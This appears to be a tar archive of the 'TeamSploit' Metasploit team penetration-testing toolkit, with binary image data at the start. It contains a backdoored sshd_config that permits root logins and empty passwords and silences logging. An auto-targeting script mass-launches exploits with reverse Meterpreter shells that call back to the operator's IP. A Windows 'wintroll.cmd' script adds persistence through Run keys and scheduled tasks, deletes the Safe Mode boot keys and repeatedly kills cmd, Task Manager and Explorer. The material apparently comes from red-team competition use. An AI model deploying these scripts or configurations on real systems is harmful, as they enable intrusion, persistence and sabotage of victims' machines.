M!vҤI3gӖh)QuVgΜڱcb`!En/Ҷm[lܸѫk.m|Go={ıcǢ|7EE,X cǎeruRF(ӧ~{ꩧ0vXVQqA;wtW^8|h+eQRRG }ԧ*^z~>,1~x|nݺO?
ȱ 7n܈oٯ)!U-]t:] aG'J(tnU
v+p-{jⳃ}ǞwƝwމ~=V\yf 4gΜ y˲ ͆qw cǎٳ+HXܴi)G1yd[2nݻѻwo :tPVVAa˖-+GI,Yd X
zǙ:>5jAc:fggk
sb^pes=(,,t:Ihl?~ax߿ ={ġC4g( ;*vTj %"(AB@(_ ň#R- U(""UB)$gޛܛܛu^I6gfg93` ]};g͚58p ߈-lT 2εX,>OlKKqfneeeٽY6Ǽ *(~w} j-uaK\0l.]VZ̙3v{ 틕+W>vލ^x6-9δ5
˗//T^&M ~跺-iH <Ç#33|̙9s8`ݻ7._ 0]ܿ z{= g-ZQFo
i}[:u<`@I&؝!+-Z & 5{ѬY3!{V/_ӧ˘&zEo.t }t: ,X`N:MKKC}2`% :FԩS!>sҤI;w0h lڴ ֛˗cy t'7nܹs^-v
*\ fCBB["O/`
X#q}*ZG -0]jj*222PBb08իvWu'}`HOO?:& sa̘1ٳ_\`X~} D} :tJ'OAcGy?>ZmH}W7zWnC wJŋ'=d ;>`oQl}
)`^*^ESTTՊ+WҥKngA<& ov2ba:Fۺukf3 >nݺk~
QyyyvkO9(S Lg4{ +ÓCRyn۶Ե?cc}AAD5b
ʕ+|G'Tp ;P?Wߏ V4 8pS;)Τ%RSSmdqCAA҈-V]Ґ5k 5XmիW1w\?v֮]k (Wgg ^sY9s& RgÆ
+ AY:BAA!#岳qYt7[Xh"j9 l2u.\vzWwe>999X`{ORHj ~TtF$h ? T4ؼy3F (-Wt0w^|G>/_FϞ=!݈y ) c }m2Say5jT}viz 2l*য়~#G:jj:$*{x=PEQ,Q(9rdVسg~mAAdtep^p#Gb
2zBѣG$$$5KC`'%vBqAOWƘh\r ݺu:`RA=z4 ^ E24B7"== /2뇜 YJ)
jΔe;w.ڶmÇʇȧuAA.ސ ;vG\\ ʗ/+RJ s40o<ԭ[9`0\2 "F#^9s\rXl ˖ =z'nYx駑'N\ׯG*U0m4\pn}ҘE& _8L6ͧ͡FAKh "TPyd2[,yfy 3cƌAbb"vիRJh40HII͛7O?aV]v1cP~}TV
8ٸ}6^?$ ̝;sſ/V`6[naشiSw5AAD3bq֓yy4;wΝ;j Z
ٌ"YԺܹs y~~>KTgG ѣGq ʗ/V Պ܀R5ZLAA[xt;(ꌗd̸T Qd lKrYV10&\JAA#UעE5|Es[X郴0 V+4h ;lXT hժݻVF +Un|AAߍb Ʊ7Ɛ$%N_pa5QѲeKZ*È#0bĈ|Z]T* m pAADH3<8llx1xy M6
F3ցj7iӦضm[PbZj>Ckb 2bl8_)))xQNP4maR: !++ W^-e=B3AAQʌ` ExxxFľ}o>e`Zh [ {ޞAQX{ "tG AÄEǎ jEڵOU\8r$/Vj5ݻG+AAQX Xn Z- R ;˗q5T?0l6 =s
q&HlZ>̀lBmbZ d2AE("L&3{P.^YR ck+u(ի3fwXn ORnj1b (]F[+`Ũ_>V^#Gh4Mk8p S",,̣|fU*<|
u-Hw *e4p Xj:u
#FիΣ-v `(Ê+ЦM}/^sKY[x} * RRR}v颢HYAF ˨Qp1|駨]6&NѣG#770E1t:DFF}{ |.dAcЯ_?aA5VuV,Y͛7Gtt4*T1;#N8o
b5KKރY PHA(`0"+q
t
uAfФI4l*J6@жm[ҕC$#,B)xAAQXK.ҥKX~6lÇCד(R-r)nAA iB٣\r8p Kܽ{[l2G(ϧ(AĄBE >S(F?ѣG1tP}KgΜC"== ,$mDAA_ 8.4Cw
f#!!;w ǏchѢ7n~ =^uR^@AADЙسg`0 **
-[$mR,XnݺaРA gWϟ?#FCXlիÇ IQ݉}- ) :Ï? ر#ڵkG%:tP > }=x?~< W^y*܊ 2bdDFF}e~o@GuZ|r7G VoHzΕkbm #cӦM Dt:z)aɸ{.VZU<^z%㥗^" AAAFO? c>KFopRB<"啐ׯT
$[f 2b ?ď?q!!!Vui*gQOZEOygcsrrsN̞=+Wd*T>z cǎży\WdN #GN:1cƠnݺW T#,, *
VQQQ:uj
bhWcAya̙xo*˗C\bX BrE\xQ XK36
UTq2bр-.6''?0N>Çc֭>?l0>HcH ? !$u@]{-0}ll,^}U<V]vaƍ08p {1 ۷rJK~Gtt4Ə \ cGFƍaZ+V@NNl6fΜ|Yf`֭[;wnPq5jj"8ܾ}0tPǃ8?GZZZy>1l0t:$K̈-[$- J+aXpy? _:_"0ԬYjwI!Q}j͛7qM+UDJ"]\1pm k֬)Vc&X 'ӒK~ ^|PPV-<# ÇB"ԺZ̀fΝXlqZŋ#::ge MSox饗qq j5 4ӧ
T(1//&L#(!)) hРnȑСSn߾^{M>7ȳ111n#HHH Iל5kЩSyjGƍ+kԩu >cvʕ+aeX1o&.}nn.Ǝ d %K<.s TL81tCah4^gF۷cժUr0~x py^jհd*իe>}:Zy
6`ӦMvǟz)L4cl!*W,' =z8,=
2|p9J֤IdTb(Dž~0FfE1bH'))Ioܹ֭S6zKܾ}kNγe˖>^\qh4bFӦMsIff&l"2gee&Ǝ NWc4VW^y`/6/
Or _O. (s
#=jmӡC4k̮(JV?(Aeoy̧O>.>K!d4nܸ;R #'7Ɓ0|pp |ϮgAW 0LhժWz3˞Y`EO<6lSU'}F$K3gb
`۶m|2)7{3gΔ+`F픔AJ'fggW_[k툷nߡҶ#˱sNX,:ul(^ɓ'1uTTT aX|
Y^ bJvE=}A* $RVX[CUoܒ H%''㫯 |@2.^,[f{>BG ={J u: UW^|LJ~~>V\闼pGŊK\g klܸ/Bagayطo t邶mۢAQ |A
UGu)da
LFGff&^Gbx"UA!*
z^ (FOڹzʯu9r$/_^1&)_1܀]vܹ3~ӮY{{ɒ%xWU/ݻ;z9s`>[fM3n`OǍ'm'Nӧc'|z˫sqq.(`+&L?{
Λ7o.Gm/? ȑ#8~8z="##QBhZ#**JS\EXlrss1i$ܹs[nlXr%233!xGff<HT*hZzt:5,*
j<ϣN:h۶(pݠ O 6J֭[{L+}2L qA\j|A@
I +:mom aǎ իǺQKpyԫWϥǍ.&&|
t7nX͆6m`ΝٳWto1> uEzPn]ԭ[qqqCڵ5kVZY&jԨ{3g⥗^*|qN UTAժUA xy Ä WE[Lϓ%oo=wȑsa.Zle.]| M<+p 8&":wuy<A0x`DGG~Z-jԨ9R] =ve^xTyw44.[| U:ogbѢE ~j4;~ӌ3d o X 5j+{RP_״iStVQ̚5 ۶mCǎ o7ߴ{Ϝ9ku
kExx8V+y]UɡC hff& jժZj?AUÆ
sD\pG P)3#VS_ֶ</b.%<'Nܹs-7Hp aܹO?46l貯3L/eCG7Zetdسg6mڄg}ӧOG&M0rH:}Ųe <駟^,9LCף|x `6=b(En~ u:uEipTO -gp
\j IDATF3R_ff&nZ/
'N(pYҥKN!#_ ƌʕ+u;.^K.ҥKϷG6wt"22mڴVb'|Rd@^^^%z 3g <ؼyכ]AheՐ-ղ `QdL%ײXRQ~_M]f2bGjj*> [.4i&M:V_~e@|=S P^{59sVL%qqqѣc0nٳ'jժł ;vʕ+ qAz|'E2 G8$''ȤVQy饗q n݊˗/{ȈU#GaÆhܸ17oz!22 fb\mZ펋łnݺ!<< ƍ2eJe7 !YO&Lի]ƍ~3 `q 999dqơs`gؤ$#kժUd1j( ƍC҈? (ڵkd gϞٳg~zj1d;cX,xwjq ._~?(k֬A] ƍb
1j
ZmO+UA*DFV #?=%QbE Ivl6t/PR`яJg*Ow A5xf=ƘH]ɈЉ&"NￏSyܼy={kc+Xѹsg
зoߐqƁ8 : `رqϟOkd פ
{v aW 8R )) .?иqc{w#8 ʲytʶ/ w[1b[ <<\>'_ϵ2
\{`!66֩6LHHH(R ؛r])@?2boӧ O 4ϟ/rVZ}ԗ<}sJQ=/ڗ79Dղ+W2{ |DRfMoeYd +u:y[1DQd1|rj$$$A#,))#==uܙq uaaaly( :yr ӷoeyz-۽{ORر#q2L<},--H:7oݻcǎ͛E3""©+Wf 96lhwO<7xt:;u;w\g,?S,'':l1ʕ+q ܹs>V֬Yc/Q2f1bDKRba1v]v5jreeeDf֭s_=6l`w/bW/Go8u{衇R7xCN7uTT۸qcyqrJ}]Q#E$22K.E~ >~MqVq<8goQjuV1zh$%%AF > k֬IDPj r˖L90/T*<#ry ~qFxT*KDGGvy ٸxb DժUfDQĩS
\XF
j61SN9͚+ϟw;; z)oq%dff łg:v.^Z8wۙ&M@j ?~NuETT d˗8ɄK.]_|v ֭[HIIq8ԩSvm@Z~"WҴiS<шK. 84l:Ωl]S͛7궠g8\p*Oa X(6n܈{ؿ?N: }UVtIBBB-짟~b(2Qw}Znʕ+4
T*;QLѸV$ zK6^Y
H^JYrr2c 6x` I cŊh۶|Ν;ؼy3ݻ^/s V Zm?-j5Z]Z͆ ~X4++ Ν;I>oիW 3&&]v1E}
DDձo> >#kb"""G A||qgA)(78NvA^ `wRZQQQFѻwoDEEرcѧO @~~>%AAAF, G^0|L07ۇsAE'SZ O VՂyhZp F#t AVKHyFqq4 ƨJOr89u%DQ 0
zfcL[y\:OiZa0{a_ ֭ `08 X;wȿ'&&bΝh߾=5kG }-[D V+ jFd؉(T Ws4߭V+rrr`X|VSEX,HK\-)<2*V W-ԉcҵ$l6#//N /r 9rf'AAANP|yl۶
[裏ʆ4*t4 g)% ]a=:4k )))ٳ' 9B J шի#!!+Vb'`XYTl'VNQoEt8vD*Uh"t 1|ꫯaAADA3Ar6 ֭[KիHII}PU"Frj"2RQ]S: A kwe<04jӦMC 6mBed Ȉ%Pzu,\{ ƍHMMf+v#c5TؘgٳC Ȉ%!<< oZjBjŖ-[0w\ ;vP[AAAFlGo Cdd*ud29 8FiSEf1L&YGl6|u[VҺ_ l6 6%E>vLH<\+];== NBZZ ׳f]6#ftAAAFlQR%/_ jZ^;si\rcu WWr4z]ӝqThlqfSy=Yertxu'i_Wt)K:OYNǼ}i qL;}ӏ+T*j. zdAq eZ-+hf!22ҩaaa.W SW_a͚5v`AAȈ#0tPTX*nsiP< c+iXfR ݎc4i0>XV۱fΥy MEHLLqv z! 2bC'")) (ڵkXr%rrrfJ%cCEX,;cb8te 9Ad:ZZ)hDIה;EH CG#PZwwkh q, ssFc HdMAAeR~}vycΝc5bz/$$ĉD˖-I'$$$$$$$$$eFP9k
^{59s>Ge ;v 99 {B 2* 3`ԨQ 3f RxZc F^hj jZ諌Ra0pMVC#""t F_Ls yԪUK^Sm /oq!;//z F\\ :t }nݺE (ՄܚXNCb߾}HLLdrjժ
(.meǕ+"hDJ12 t<#,,L^kzhZpaaarN'F ?wh4l^(jaaa!222K|%=5]R[]d f̘ 2b[{> eFaڵ[o3AAL;s=D ƍ a̘1hԨy;nC#xUt]o+S`or+ Q1{-xIұbql21 Nzt=Qnc6qƉ'
* >> dql6e6IFj qڕ=22999~'Qu'KpX, 2=z@ݺu1k,<3w rAAD"dfb5j[vڸx"7o iuo ~C-+#Е0t 0sL̚5CAABЇPjlٲe" ;vtV׳L9y( 5I}1a5j 6 BvԉYVcsqNɓ'Yxx8U2IU,c'* 55j_|Ap̝;mh֬ Ν;;v,Jմq 4RhHZVN]VQlj5T*NTWTr *U)_y\9<4 ǡRJ Czz]h\t mY,݇KQFA||<ݻ V JN'O"??_Γ8t:'OvVL<=j5t&{SfO\ \s\q V+L&S)%#[2-]-!ncP/e;ŋcҤIAAd K.FARRL2]DD.]A1+WiӦn?
6 V| 嘎y`XEt: `gF I:&;r*R< =^x;=AA~f͚ؽ{7pU$$$͛.N2M68t˴_%{qƘSb)21Ww1洝4K^o> K~_nך^^^.^7dpm6Ț5kdӦM2{ly/,`P uֲBTUUIYYTWWKyy|>z&7oWJ0{C=${Z<;;[RSS_l65oK`k|lFAnJlEuG5{͟ɺuWr"۷Oeԩִty'eĉRQQa\~u
߿رC&N({)SHFFw}rĉf3flٲEj}ӭ[79s挈Krr2 sm6}UU5 jjjjľcǎKv=~5È}of^{/K`? :tHi{hbb5[ϻﾫK, eee:af}NS uٲe!mSL./^qB!BFYPgggGשS'=s} \Rvқn)bl2=u5-jHȨQرcکS'kw fŊ}111m6]|: f} ,ʐ5''GUU/\]tX!B!IBB;wNUU߯ ;v /**Jׯ_aazE 1bD~{ӊ
{wz%}8 n 0@ ;V$=q>l=^rENgHSO= |A֩}ZYY=\H[zzz^
zjB!BۘlڴIUUKKK5---bӧk uEۡCuY3ghVV
>}5))և";wwl=;wj뮻B맹ڵkf .ÇkBBB]tsΩaz)ٳ' !B/ӦMj
qưgK sss@".wʕV>mx(O5//O{Ukzvv۷oLo߿_ yf :t . 6doeٲe/'B!~?QU|{ľkUUU0TUuС>?:`}'O9ntE ?Ç5}zʕk_Wgm{СCNfffon;}ƍL߾}9f!BEll6̴q 6lXľsέ5qFFFľC Qǣah0g}6bd-((yqԩqB>zڭ[kaÆiUUy!mSLQWkȑ#4}jUUݼy3 !BiqJ >|̙3GDD֭[ "_RDng}&/b~d&;wW_}5l_-W"ؼ^TUUIbbb!SN ݤo^ڷo/ϟnݣ7 ɓ߿_ :T}f } =zT233eƌ<2ydYlr jʹHUUO>111ݳguip}7iѣ#}!C$
$&&FO<Ҷw^zϟ??|m? h0{l|ڹs琶[ UU5//B!p&ִn:[ED$++K^oľ3gΔAa)wۯW^vZLڪU [nҥKe|! G}ɒ l6JwU&aȐ~[RRRͺ 6l 2g Ypa<ٹs<ҳgOO~"V @ԬU?O뻰^ѣuƶ=>f˖- xϞ=zu8 |V>q:||ߕݻwK nITUe֭! %''G "6lh}ꫯO? Lkaal۶Mf͚%o۲m6 :Z5O:UUUϞ=w}^ZJ
֙՝;wF\֜9sUUE7M|N8O/`fΜUUUڱcZ yUU4W߯x˗æTϟ?wl}饗uֈ=~7ɓtTdzA ^PP`*!!B![WUU= <غ399YwzyUU裏fE wޱ
#G FDvkNN ;vLy`&Neee!a:k,MMMQFQX5ݻ_| sgz"_~ZYY>`ӧ[ "͙3B!"VDnݪ=FEEY{ｧ%%%m#GTUҥK:rȈ}.]/_f2b|&''|RVV}f늋'NI¶kNwءsm]V?
i/^))) CB!mAԋ/ ŋ֥۷ox93bE~ַۇ4h^pA瞐]v3qұcGILL$''G@SRRW^?\/_ q]k֬_J .]Jjj5[瓃7D i2tPko>9{L0!l#Gâ2}tѣ Z K.5k{=sW^իW1cBlmz< &%%E\
3m$%%Euڴi!m=~*ӧ:u*inOzzzjg= :!BiqJ :r 9rޒnݺIIIl߾]֭['7o*lRUU%~ 6LDD222$d6M&M$/eƌxo2}t7n p:w8ΰ+ ͜OUrIllDEEpڵk% 1cN $ J o]oKIITTTݶ@ ۶m_2t{3QFE%!!AΝ+ j9 @+"rU
6Ȇ
~[\.\rE~Kaaa5J#IIIxBp"6\{61 ERna"N5\! pmu4k '~9W!p,:͟!_ M,Ǐ 8y7 f "ִe?~U8.2p@t bcc?և @K
OfIqq ;V%99wN >O< $%%Ɂd̘12aIHHX8``c Kᶧ1geG*5hƍ-қnpk=xk`0k[௯W=.ڷ1kQ_ߺ f{C#*GGGKee;wNϟ/""k "!~ߺɄ 7^WhC+""~);
z w!-]ʧ~*.]rZ}Ch5/ ^N|}pX^O$&&JJJ 9RDD? u]|'VDdРAeF&ZѣGeR\\ Elc_N* F]u#>t]l
~6RO/ ئp\%N-)d[㸪og E, ͳ P (b " @ E, X (b P @ E, " X (b P @ " X E, P (b P @ E, " X (b P @ " X E, P (b " @ E, X (b P @ E, " X E, P (b " @ E, E2Y IENDB` teamsploit_0~20151123/teamsploit_cli 000755 001750 001750 00000004616 12272512371 020262 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
echo '___________ _________ .__ .__ __ '
echo '\__ ___/___ _____ _____ / _____/_____ | | ____ |__|/ |_ '
echo ' | |_/ __ \\__ \ / \ \_____ \\____ \| | / _ \| \ __\'
echo ' | |\ ___/ / __ \| Y Y \/ \ |_> > |_( <_> ) || | '
echo ' |____| \___ >____ /__|_| /_______ / __/|____/\____/|__||__| '
echo ' \/ \/ \/ \/|__| By: Justin M. Wray '
echo
echo '====================================================================='
# Config...because we can
source teamsploit.conf
# Notice
echo "You may need to authenticate, as MSF typical requires administrative rights"
# Did you config it yet?
if [ $TS_CONFIG != 1 ]; then
echo "Error, No Config...Wait...WHAT ARE YOU DOING? (Go Edit teasmploit.conf)"
exit 1;
fi
# Okay, we need to setup the enviroment...cause I don't know your setup...
./.setup
# Wow..the person in front of me put there seat back, I can't see the screen..ahhh
echo "TeamSploit - Pen Testing With Friends"
echo -n "Loading Enviroment..."
for i in $(seq 1 $TS_WINDOWS); do
if [ $i == 1 ]; then
gnome-terminal -e 'sudo msfconsole -m .msf -r .teamsploit.rc.primary' -t "TeamSploit: Primary $i"
else
gnome-terminal -e 'sudo msfconsole -m .msf -r .teamsploit.rc.primary.sub' -t "TeamSploit: Primary $i"
fi
done
gnome-terminal -e 'sudo msfconsole -m .msf -r .teamsploit.rc.listener' -t 'TeamSploit: Listener'
if [ $TS_MSFD_CONNECT == 1 ]; then
gnome-terminal -e "nc $TS_MSFD_HOST $TS_MSFD_PORT" -t 'TeamSploit: MSFD Client'
fi
echo "Done"
teamsploit_0~20151123/.msf/plugins/growl.rb 000644 001750 001750 00000014534 12016301175 021321 0 ustar 00sophie sophie 000000 000000 # Copyright (c) 2011, Carlos Perez "Displays help",
'growl_start' => "Start Growl Plugin after saving settings.",
'growl_save' => "Save Settings to YAML File #{Growl_yaml}.",
'growl_set_host' => "Sets host to send message to.",
'growl_set_password' => "Sets password to use.",
'growl_set_source' => "Sets the source name shown in the messages.",
'growl_set_sticky' => "Sets true or false if the message will be sticky.",
'growl_show_parms' => "Shows currently set parameters."
}
end
# Help Command
def cmd_growl_help
puts "Help"
end
# Re-Read YAML file and set Growl Configuration
def cmd_growl_start
print_status "Starting to monitor sessions to Growl on"
if read_settings()
self.framework.events.add_session_subscriber(self)
@g = Growl.new(@host,@source,["Session Notification"],nil,@password)
print_good("Growl Plugin Started, Monitoring Sessions")
else
print_error("Could not set Growl settings.")
end
end
# Save Parameters to text file
def cmd_growl_save
print_status("Saving paramters to config file")
if @host and @password and @sticky and @source
config = {'host' => @host, 'password' => @password,
'sticky' => @sticky, 'source' => @source
}
File.open(Growl_yaml, 'w') do |out|
YAML.dump(config, out)
end
print_good("All parameters saved to #{Growl_yaml}")
else
print_error("You have not provided all the parameters!")
end
end
# Set Host to send message to
def cmd_growl_set_host(*args)
if args.length > 0
print_status("Setting the host to #{args[0]}")
@host = args[0]
else
print_error("Please provide a value")
end
end
# Set Growl Password
def cmd_growl_set_password(*args)
if args.length > 0
print_status("Setting the password to #{args[0]}")
@password = args[0]
else
print_error("Please provide a value")
end
end
# Set if message will be sticky or not
def cmd_growl_set_sticky(*args)
if args.length > 0
print_status("Setting sticky to #{args[0]}")
case args[0].downcase
when "true"
@sticky = true
when "false"
@sticky = false
else
print_error("Please Specify true or false")
end
else
print_error("Please provide a value")
end
end
# Show parameters that will be used
def cmd_growl_show_parms
print_status("Parameters:")
print_good("host #{@host}")
print_good("password #{@password}")
print_good("sticky #{@sticky}")
print_good("source #{@source}")
end
# Set the source name that will be shown in the messages
def cmd_growl_set_source(*args)
if args.length > 0
print_status("Setting the source to #{args[0]}")
@source = args[0]
else
print_error("Please provide a value")
end
end
end
end
end
teamsploit_0~20151123/.msf/plugins/twitt.rb 000644 001750 001750 00000020534 12016301175 021337 0 ustar 00sophie sophie 000000 000000 # Copyright (c) 2011, Carlos Perez "Displays help",
'twitt_start' => "Start Twitter Plugin after saving settings.",
'twitt_stop' => "Stop monitoring for new sessions.",
'twitt_test' => "Send test message to make sure confoguration is working.",
'twitt_save' => "Save Settings to YAML File #{Twitter_yaml}.",
'twitt_set_consumer_key' => "Sets Twitter Consumer Key.",
'twitt_set_consumer_secret' => "Sets Consumer Secret.",
'twitt_set_oauth_token' => "Sets Oauth Token.",
'twitt_set_oauth_token_secret' => "Sets Oauth Token Secret",
'twitt_set_user' => "Sets User to whom messages will be sent.",
'twitt_set_source' => "Sets Source Name from where the messages are sent.",
'twitt_show_parms' => "Shows currently set parameters."
}
end
# Help Command
def cmd_twitt_help
puts "Help"
end
# Re-Read YAML file and set Twitter Configuration
def cmd_twitt_start
print_status "Starting to monitor sessions to Twitt"
if read_settings()
self.framework.events.add_session_subscriber(self)
@twitt_client = Twitter.configure do |config|
config.consumer_key = @consumer_key
config.consumer_secret = @consumer_secret
config.oauth_token = @oauth_token
config.oauth_token_secret = @oauth_token_secret
end
print_good("Twitter Plugin Started, Monitoring Sessions")
else
print_error("Could not set Twitter settings.")
end
end
def cmd_twitt_stop
print_status("Stopping the monitoring of sessions to Twitt")
self.framework.events.remove_session_subscriber(self)
end
def cmd_twitt_test
print_status("Sending tests message")
read_settings
@twitt_client = Twitter.configure do |config|
config.consumer_key = @consumer_key
config.consumer_secret = @consumer_secret
config.oauth_token = @oauth_token
config.oauth_token_secret = @oauth_token_secret
end
send_direct("This is a test Message from your Metasploit console #{::Time.now}")
return
end
# Save Parameters to text file
def cmd_twitt_save
print_status("Saving paramters to config file")
if @consumer_key and @consumer_secret and @oauth_token and @oauth_token_secret and @user
config = {'consumer_key' => @consumer_key, 'consumer_secret' => @consumer_secret,
'oauth_token' => @oauth_token, 'oauth_token_secret' => @oauth_token_secret,
'user' => @user, 'source' => @source
}
File.open(Twitter_yaml, 'w') do |out|
YAML.dump(config, out)
end
print_good("All parameters saved to #{Twitter_yaml}")
else
print_error("You have not provided all the parameters!")
end
end
# Get Consumer Key
def cmd_twitt_set_consumer_key(*args)
if args.length > 0
print_status("Setting the Consumer Key to #{args[0]}")
@consumer_key = args[0]
else
print_error("Please provide a value")
end
end
# Get Consumer Secret
def cmd_twitt_set_consumer_secret(*args)
if args.length > 0
print_status("Setting the Consumer Secret to #{args[0]}")
@consumer_secret = args[0]
else
print_error("Please provide a value")
end
end
# Get OATH Token
def cmd_twitt_set_oauth_token(*args)
if args.length > 0
print_status("Setting the OAUTH Token to #{args[0]}")
@oauth_token = args[0]
else
print_error("Please provide a value")
end
end
# Get Oath Token Secret
def cmd_twitt_set_oauth_token_secret(*args)
if args.length > 0
print_status("Setting the OAUTH Token Secret to #{args[0]}")
@oauth_token_secret = args[0]
else
print_error("Please provide a value")
end
end
# Get User to whom Direct Messages Will be Sent to
def cmd_twitt_set_user(*args)
if args.length > 0
print_status("Setting the DM target user to #{args[0]}")
@user = args[0]
else
print_error("Please provide a value")
end
end
# Set Source Name to be included in the messages
def cmd_twitt_set_source(*args)
if args.length > 0
print_status("Setting the source name to #{args[0]}")
@source = args[0]
else
print_error("Please provide a value")
end
end
# Show the parameters set on the Plug-In
def cmd_twitt_show_parms
print_status("Parameters:")
print_good("consumer_key: #{@consumer_key}")
print_good("consumer_secret: #{@consumer_secret}")
print_good("oauth_token: #{@oauth_token}")
print_good("oauth_token_secret: #{@oauth_token_secret}")
print_good("user: #{@user}")
print_good("source: #{@source}")
end
end
end
end
teamsploit_0~20151123/.trojans/.loader/sshd_config 000644 001750 001750 00000004635 11732510376 022623 0 ustar 00sophie sophie 000000 000000 # Package generated configuration file
# See the sshd_config(5) manpage for details
# What ports, IPs and protocols we listen for
Port 22
# Use these options to restrict which interfaces/protocols sshd will bind to
#ListenAddress ::
#ListenAddress 0.0.0.0
Protocol 2
# HostKeys for protocol version 2
HostKey /etc/ssh/ssh_host_rsa_key
HostKey /etc/ssh/ssh_host_dsa_key
#Privilege Separation is turned on for security
UsePrivilegeSeparation no
# Lifetime and size of ephemeral version 1 server key
KeyRegenerationInterval 3600
ServerKeyBits 768
# Logging
SyslogFacility AUTH
LogLevel SILENT
# Authentication:
LoginGraceTime 120
PermitRootLogin yes
StrictModes no
RSAAuthentication yes
PubkeyAuthentication yes
#AuthorizedKeysFile %h/.ssh/authorized_keys
# Don't read the user's ~/.rhosts and ~/.shosts files
IgnoreRhosts yes
# For this to work you will also need host keys in /etc/ssh_known_hosts
RhostsRSAAuthentication no
# similar for protocol version 2
HostbasedAuthentication no
# Uncomment if you don't trust ~/.ssh/known_hosts for RhostsRSAAuthentication
IgnoreUserKnownHosts yes
# To enable empty passwords, change to yes (NOT RECOMMENDED)
PermitEmptyPasswords yes
# Change to yes to enable challenge-response passwords (beware issues with
# some PAM modules and threads)
ChallengeResponseAuthentication no
# Change to no to disable tunnelled clear text passwords
PasswordAuthentication yes
# Kerberos options
#KerberosAuthentication no
#KerberosGetAFSToken no
#KerberosOrLocalPasswd yes
#KerberosTicketCleanup yes
# GSSAPI options
#GSSAPIAuthentication no
#GSSAPICleanupCredentials yes
X11Forwarding yes
X11DisplayOffset 10
PrintMotd no
PrintLastLog yes
TCPKeepAlive yes
#UseLogin no
#MaxStartups 10:30:60
#Banner /etc/issue.net
# Allow client to pass locale environment variables
AcceptEnv LANG LC_*
Subsystem sftp /usr/lib/openssh/sftp-server
# Set this to 'yes' to enable PAM authentication, account processing,
# and session processing. If this is enabled, PAM authentication will
# be allowed through the ChallengeResponseAuthentication and
# PasswordAuthentication. Depending on your PAM configuration,
# PAM authentication via ChallengeResponseAuthentication may bypass
# the setting of "PermitRootLogin without-password".
# If you just want the PAM account and session checks to run without
# PAM authentication, then enable this but set PasswordAuthentication
# and ChallengeResponseAuthentication to 'no'.
UsePAM no
UseDNS no
teamsploit_0~20151123/.autotarget 000755 001750 001750 00000003442 12272512371 017503 0 ustar 00sophie sophie 000000 000000 #!/bin/bash
# TeamSploit - Pen Testing With Friends
# Copyrighted: Justin M. Wray (wray.justin@gmail.com)
# Special Thanks: Ben Heise (Twitter:@benheise) Team ICF (Twitter:@ICFRedTeam)
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see .
source teamsploit.conf
if [[ -z $1 || -z $2 || -z $3 ]]; then exit; fi
ORIG=$1
TARGET_OCT=$2
EXPLOIT=$3
TARGETS=`echo $TS_TARGET_RANGES | sed -e 's/;/\n/g' | sed -e 's/$/.'$TARGET_OCT'/g' | grep -v $ORIG`
RANDRC=/tmp/$RANDOM.autotarget.rc
echo "set Prompt ts-autotarget" > $RANDRC
echo "load autopost_notrg" >> $RANDRC
echo "setg DisablePayloadHandler true" >> $RANDRC
echo "setg AutoLoadStdapi false" >> $RANDRC
echo "set ExitOnSession false" >> $RANDRC
echo "use exploit/multi/handler" >> $RANDRC
echo "setg LHOST $TS_MY_IP" >> $RANDRC
echo "set LPORT $TS_AUTO_TARGET_PORT" >> $RANDRC
echo "exploit -z -j" >> $RANDRC
echo "use $EXPLOIT" >> $RANDRC
echo "setg PAYLOAD windows/meterpreter/reverse_tcp" >> $RANDRC
echo "setg LHOST $TS_MY_IP" >> $RANDRC
for i in $TARGETS; do
echo "set RHOST $i" >> $RANDRC
echo "exploit -z -j" >> $RANDRC
done
gnome-terminal -e 'sudo msfconsole -m .msf -r '$RANDRC -t 'Metasploit: Auto Target (.'$TARGET_OCT')'
teamsploit_0~20151123/.trojans/.loader/ 000755 001750 001750 00000000000 12624613016 020376 5 ustar 00sophie sophie 000000 000000 teamsploit_0~20151123/.trojans/wintroll.cmd 000644 001750 001750 00000004723 11732510376 021423 0 ustar 00sophie sophie 000000 000000 reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "ScoreBot" /t REG_SZ /d "%systemroot%\System32\wintroller.cmd" /f
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Scorebot" /t REG_SZ /d "%systemroot%\System32\wintroller.cmd" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v "RunLogonScriptSync" /t REG_DWORD /d "1" /f
reg delete "HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal" /f
reg delete "HKLM\System\CurrentControlSet\Control\SafeBoot\Network" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "BootExecute" /t REG_MULTI_SZ /d "autocheck autochk /P \??\C:" /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v "AutoChkTimeOut" /t REG_DWORD /d "0" /f
reg add "HKU\.DEFAULT\Control Panel\Desktop" /v "Wallpaper" /t REG_SZ /d "%systemroot%\System32\wallpaper.bmp" /f
schtasks /RU "System" /RP none /create /sc minute /mo 1 /tn "%random%" /tr "%systemroot%\System32\wintroller.cmd"
rundll32.exe user32.dll,UpdatePerUserSystemParameters
copy %systemroot%\System32\cmd.exe %systemroot%\System32\com.com
echo :FLAG > %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A cmd" >> %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A taskmgr" >> %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A explorer" >> %systemroot%\System32\wintroller.cmd
echo start com /C "tskill /A notepad" >> %systemroot%\System32\wintroller.cmd
